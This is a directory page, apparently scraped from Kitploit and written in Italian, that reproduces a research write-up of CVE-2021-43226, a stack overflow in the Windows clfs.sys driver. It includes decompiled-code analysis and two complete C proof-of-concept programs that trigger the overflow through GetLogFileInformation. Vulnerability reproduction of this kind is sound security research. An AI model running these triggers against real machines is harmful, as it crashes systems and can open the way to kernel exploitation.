Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2021-43226PoC — una prova di concetto di cve-2021-43226,overflow dello stack nel driver Windows clfs.sys | Kitploit
Strumenti/GitHubGitHub/rosayxy/cve-2021-43226poc
Analisi delle VulnerabilitàExploitBinary Exploitation
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

una prova di concetto di cve-2021-43226,overflow dello stack nel driver Windows clfs.sys

Vedi Repository
212 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduzione di CVE-2021-43226

Ambiente

Sistema operativo: Win10 20H2 su Hyper-V, build 19042.508. Trovato un sito https://os.click/en, le immagini Windows sono abbastanza complete e finora nessun backdoor rilevato.
Poiché il PoC trovato è stato compilato con Visual Studio 2013, anch’io ho utilizzato Visual Studio 2013 con collegamento statico.

Vulnerabilità

Il punto vulnerabile è nella funzione CClfsLogFcbVirtual::QueryLogFileInfo all'interno di clfs.sys
clfs.sys è descritto nella documentazione Microsoft come:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

Il primo puntatore di questa funzione è un CClfsLogFcbVirtual* this. Confrontando il codice prima e dopo la patch, si nota una differenza abbastanza evidente: nel seguente codice v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size); prima del quale se Size è impostato a 120 o meno.
Tra gli altri parametri chiamati da questa funzione, a2 è un FILE_OBJECT, Src è un array sullo stack (IDA decompila come __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) e la descrizione di questa vulnerabilità è stack overflow. Si presume che quando Size è maggiore di 120 si verifichi uno stack overflow.
Un problema incontrato è che non è possibile visualizzare direttamente i cross reference; questa funzione viene chiamata tramite __guard_dispatch_icall_fptr. Attualmente sono ancora nel processo di determinazione dei parametri passati nella chiamata di funzione.
(update): Questa funzione viene chiamata da due funzioni: ClfsQueryLogFileInformation o CClfsRequest::LogFileInfo, che utilizzano rispettivamente le API CreateLogFile e GetLogFileInformation. Poiché la catena di chiamate di GetLogFileInformation è decisamente più corta, si sceglie questa API per generare il crash.
Quando GetLogFileInformation viene chiamato, l'ultimo passo di passaggio dei parametri è il seguente, all'interno della funzione LogFileInfo:

root@kitploit:~
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

Qui v14 è un FileObject, this è un CClfsRequest passato come parametro a LogFileInfo.

Continuando a guardare la funzione che chiama LogFileInfo, è CClfsRequest::Dispatch (dichiarazione specifica: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). Questa funzione utilizza LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; per determinare quale funzione chiamare ulteriormente. CurrentStackLocation è una struct: struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx passata come parametro, e l'assegnazione di this dipende dai parametri che la funzione superiore passa a dispatch, quindi guardiamo ulteriormente verso l'alto.
Poi c'è la funzione CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1); dove a1 e Irp sono parametri passati, a1 è un DeviceObject, Irp è un puntatore di tipo PIRP (per IRP fare riferimento a https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp). v4 viene assegnato come segue:

root@kitploit:~
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6);//v4 è un int64

Continuando a guardare il passaggio dei parametri, arriviamo alla funzione CClfsDriver::LogIoDispatch, che passa direttamente i parametri che riceve alla funzione CClfsDispatchIoRequest.
Il passo precedente è la funzione nt!IofCallDriver, la cui dichiarazione è: NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );

Riproduzione

Prima cerchiamo la dichiarazione specifica e il significato dei parametri dell'API.
GetLogFileInformation:

root@kitploit:~
CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

I parametri sono definiti come segue:

  • hLog: Handle del log aperto ottenuto da una chiamata riuscita a CreateLogFile. L'handle del log può fare riferimento a un log dedicato o a un log multiplex.
  • pinfoBuffer: Puntatore a una struttura CLFS_INFORMATION allocata dall'utente che riceve i metadati del log.
  • cbBuffer: Puntatore a una variabile; in input specifica la dimensione in byte del buffer di metadati puntato da pinfoBuffer.
root@kitploit:~
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//create log file
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) è 120 cioè 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

I parametri di CreateLogFile e GetLogFileInformation seguono la documentazione Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).
Tuttavia, con logname ho avuto qualche problema. Inizialmente ho seguito la documentazione:

Ad esempio: il percorso 'LOG: c:\MyDirectory\MyLog' crea il file 'c:\MyDirectory\MyLog.blf'.
Ma ho scoperto che così facendo veniva creato direttamente un file di log chiamato 'c' nella directory corrente. Ho quindi guardato il PoC (Others), e ho cambiato il percorso in un formato generico di Windows: 'LOG: C:\\MyLog', ma così non funzionava comunque. Durante il debug ho scoperto che non veniva chiamata CClfsLogFcbVirtual::QueryLogFileInfo ma CClfsLogFcbPhysical::QueryLogFileInfo, quindi ho aggiunto un LogStreamName e ha funzionato.
Un altro piccolo problema: quando Visual Studio genera il codice, utilizza il collegamento statico. Senza la riga #pragma comment(lib,"clfsw32.lib"), il linker riporta ripetutamente errori che non trova CreateLogFile e GetLogFileInformation.

PoC (Altri)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

root@kitploit:~
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}
Scarica lo strumento